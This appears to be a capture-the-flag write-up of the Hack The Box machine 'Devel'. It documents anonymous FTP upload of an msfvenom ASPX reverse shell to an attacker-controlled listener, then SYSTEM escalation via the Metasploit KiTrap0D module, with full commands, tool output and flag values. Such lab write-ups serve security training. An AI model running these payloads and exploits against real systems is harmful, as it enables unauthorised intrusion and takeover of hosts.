Post

Devel

Devel is a Windows 7 machine that chains together two separate misconfigurations - an anonymous FTP server that writes directly into the IIS web root, and a completely unpatched Windows 7 kernel. The foothold requires no exploit at all, just the ability to upload a file and browse to it. The privilege escalation then exposes just how catastrophically unpatched this system is, with **16+ local exploit candidates** identified. It's a realistic representation of what a neglected Windows workstation looks like on the inside.

Devel
MachineDevel
DifficultyEasy
OSWindows
Released on15th March, 2017
Created by ch4p

Attack Chain

1
2
3
4
5
6
7
8
9
10
11
12
Nmap → Port 21 (Anonymous FTP) + Port 80 (IIS 7.5)
  → FTP listing shows IIS default files = shared web root
    → Write test confirms anonymous upload → web execution
      → msfvenom ASPX payload → FTP upload → HTTP trigger
        → Meterpreter as IIS APPPOOL\Web
          → user.txt inaccessible (low priv)
            → sysinfo: Win7 Build 7600, zero hotfixes
              → local_exploit_suggester → 16 candidates
                → ms10_015_kitrap0d (VDM kernel trap)
                  → DLL injection into msiexec → SYSTEM
                    → user.txt (babis\Desktop)
                    → root.txt (Administrator\Desktop)

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap scan report for 10.129.17.0
Host is up, received echo-reply ttl 127 (0.17s latency).
Scanned at 2026-06-12 16:08:53 EAT for 378s
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Two ports were identified as open:

  • FTP on 21 and
  • IIS on 80.

The nmap output already shows you almost everything you need to know before you even open a browser. Look at what’s in the FTP listing: iisstart.htm and welcome.png. Those are the default IIS7 files. The FTP root and the IIS web root are the same directory. Anonymous FTP write access into a web root is a possible misconfiguration, meaning you can upload any file and immediately execute it through the browser.

Navigating to http://10.129.17.0 confirms the default IIS7 welcome page - the same iisstart.htm visible in the FTP listing. The web server is serving files directly from the FTP-accessible directory.

image

Verifying the Write Primitive

Before generating any payload, it’s worth confirming the write access is real and that uploaded files are immediately web-accessible. This is an important verification step as anonymous FTP often allows read-only access, or uploads might land in a different directory than the web root.

Connect anonymously (anonymous:anonymous):

Download iisstart.htm first to confirm read access and understand what you’re working with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  ftp 10.129.17.0 21
Connected to 10.129.17.0.
220 Microsoft FTP Service
Name (10.129.17.0:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> get iisstart.htm
local: iisstart.htm remote: iisstart.htm
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
100% |*******************************************************************************************************************************************************************************************|   689        4.06 KiB/s    00:00 ETA
226 Transfer complete.
689 bytes received in 00:00 (4.04 KiB/s)
ftp> exit
221 Goodbye.

Then test write access with a harmless probe file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
echo "This is a test." > test.txt
➜  ftp 10.129.17.0 21
Connected to 10.129.17.0.
220 Microsoft FTP Service
Name (10.129.17.0:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49162|)
125 Data connection already open; Transfer starting.
100% |*******************************************************************************************************************************************************************************************|    17       85.13 KiB/s    --:-- ETA
226 Transfer complete.
17 bytes sent in 00:00 (0.10 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49163|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
06-12-26  04:22PM                   17 test.txt
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> exit
221 Goodbye.

Browse to http://10.129.17.0/test.txt. The text renders immediately. Write confirmed. The FTP root is mapped directly to the IIS web root with no intermediate path, no upload directory, no restrictions. Anything you put via FTP is immediately accessible over HTTP.

image

This single test collapses the entire attack surface: you have arbitrary file upload to a live web server. The only remaining question is what file extension IIS will execute.

Foothold - ASPX Web Shell via Anonymous FTP

The FTP listing already answered the execution question .aspnet_client directory is present, confirming ASP.NET is installed and IIS is configured to execute .aspx files. Generate a Meterpreter reverse shell in ASPX format:

1
2
3
4
5
6
7
➜  msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.192 LPORT=4444 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2873 bytes
Saved as: shell.aspx

Upload it via FTP exactly as I did with test.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  ftp 10.129.17.0 21
Connected to 10.129.17.0.
220 Microsoft FTP Service
Name (10.129.17.0:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
229 Entering Extended Passive Mode (|||49164|)
125 Data connection already open; Transfer starting.
100% |*******************************************************************************************************************************************************************************************|  2913       28.63 MiB/s    --:-- ETA
226 Transfer complete.
2913 bytes sent in 00:00 (17.63 KiB/s)
ftp>

Set up the listener. Rather than using a raw handler, configure it properly to match the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > options

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.
msf exploit(multi/handler) > run

Trigger the shell by simply browsing to http://10.129.17.0/shell.aspx. IIS processes the ASPX file, the embedded Meterpreter code executes in the context of the IIS application pool, and the reverse connection lands:

1
2
3
4
5
6
7
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.192:4444
[*] Sending stage (199238 bytes) to 10.129.17.0
[*] Meterpreter session 4 opened (10.10.15.192:4444 -> 10.129.17.0:49168) at 2026-06-12 16:30:22 +0300

meterpreter > getuid
Server username: IIS APPPOOL\Web

We’re in but as IIS APPPOOL\Web, a heavily restricted service account. This is the lowest-privilege context you can get on a Windows IIS server. The account has almost no rights on the system - no access to user desktops, no ability to run administrative commands, constrained to the web application’s working directory (c:\windows\system32\inetsrv).

Situational Awareness

Before choosing an exploit, gather as much system information as possible. The systeminfo output from a shell shows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
meterpreter > shell
Process 3160 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\Users> systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 ▒▒
System Boot Time:          12/6/2026, 4:07:44 ▒▒
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.460 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.539 MB
Virtual Memory: In Use:    602 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection 4
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.10.2
                                 IP address(es)
                                 [01]: 10.129.17.0
                                 [02]: fe80::359b:bd39:1262:a6fb
                                 [03]: dead:beef::e83f:f359:209d:94
                                 [04]: dead:beef::359b:bd39:1262:a6fb

Three interesting details standout.

  • First, Build 7600 - this is Windows 7 RTM (Release to Manufacturing), the original launch version from 2009 with no service packs applied. Build 7601 would be SP1; 7600 is completely raw.
  • Second, Hotfix(s): N/A - not a single patch has ever been applied to this machine.
  • Third, the registered owner is babis, which tells you there’s a local user account worth checking.

Technically, every vulnerability discovered in Windows 7 from 2009 to the present is sitting open on this box.

Privilege Escalation - MS10-015 KiTrap0D

Background the session and run the local exploit suggester (an automated tool that fingerprints the system and checks it against known local privesc vulnerabilities):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
meterpreter > background
[*] Backgrounding session 4...
msf exploit(multi/handler) > search local_exploit_suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester  .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf exploit(multi/handler) > use 0
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  4         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL  10.10.15.192:4444 -> 10.129.17.0:49168 (10.129.17.0)

msf post(multi/recon/local_exploit_suggester) > set SESSION 4
SESSION => 4
msf post(multi/recon/local_exploit_suggester) > run
[*] 10.129.17.0 - Collecting local exploits for x86/windows...
[*] 10.129.17.0 - 248 exploit checks are being tried...
[+] 10.129.17.0 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.129.17.0 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.129.17.0 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.129.17.0 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.129.17.0 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.129.17.0 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.129.17.0 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.129.17.0 - exploit/windows/persistence/registry_userinit: The target is vulnerable. Registry likely exploitable
[+] 10.129.17.0 - exploit/windows/persistence/service_for_user/lock_unlock: The target appears to be vulnerable. Target is likely exploitable
[+] 10.129.17.0 - exploit/windows/persistence/service_for_user/logon: The target appears to be vulnerable. Target is likely exploitable
[+] 10.129.17.0 - exploit/windows/persistence/service_for_user/schedule: The target appears to be vulnerable. Target is likely exploitable
[-] 10.129.17.0 - Post interrupted by the console user
[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) >

Severall viable exploit candidates returned. This is what “zero patches applied” looks like in practice.

From the list, MS10-015 KiTrap0D is the most appropriate choice. It’s the oldest viable exploit, dates to 2010, and targets Windows 7 x86 specifically. KiTrap0D is a kernel-level vulnerability in the Windows Virtual DOS Machine (VDM) subsystem. When a 16-bit process (or a process that triggers the VDM) generates a certain type of exception, the kernel’s trap handler (KiTrap0D) fails to properly validate the privilege level of the calling thread. An attacker can craft a scenario that triggers this trap in a way that escalates the thread’s privilege to SYSTEM level - a classic kernel token impersonation attack.

Other exploit variations that work:

1
2
3
4
5
6
7
8
9
10
exploit/windows/local/ms13_053_schlamperei
exploit/windows/local/ms13_081_track_popup_menu
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
exploit/windows/local/ms16_075_reflection
exploit/windows/local/ms16_075_reflection_juicy
exploit/windows/local/ntusermndragover
exploit/windows/local/ppr_flatten_rec
exploit/windows/persistence/registry_userinit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_015_kitrap0d) > options

Module options (exploit/windows/local/ms10_015_kitrap0d):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)



View the full module info with the info, or info -d command.

msf exploit(windows/local/ms10_015_kitrap0d) > set SESSION 5
SESSION => 5
msf exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 10.10.15.192:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 3664 launched.
[*] Reflectively injecting the DLL into 3664...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (199238 bytes) to 10.129.17.0
[*] Meterpreter session 7 opened (10.10.15.192:4444 -> 10.129.17.0:49172) at 2026-06-12 16:55:52 +0300

The exploit reflectively injects a DLL into a newly spawned msiexec process to avoid creating suspicious new processes. The DLL triggers the VDM trap, escalates to SYSTEM, then spawns the Meterpreter callback inside the privileged process.

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Flags

With SYSTEM access, both flags are directly readable:

User flag - from babis desktop (the registered owner identified from systeminfo):

1
2
3
4
5
meterpreter > cat C:\\Users\\Administrator\\Desktop\\root.txt
5941fdaf8c7cd5ec7ebb3f953c6d05fd
meterpreter > cat C:\\Users\\babis\\Desktop\\user.txt
1934b806def08dd185a77244d2aa17fc
meterpreter >
This post is licensed under CC BY 4.0 by the author.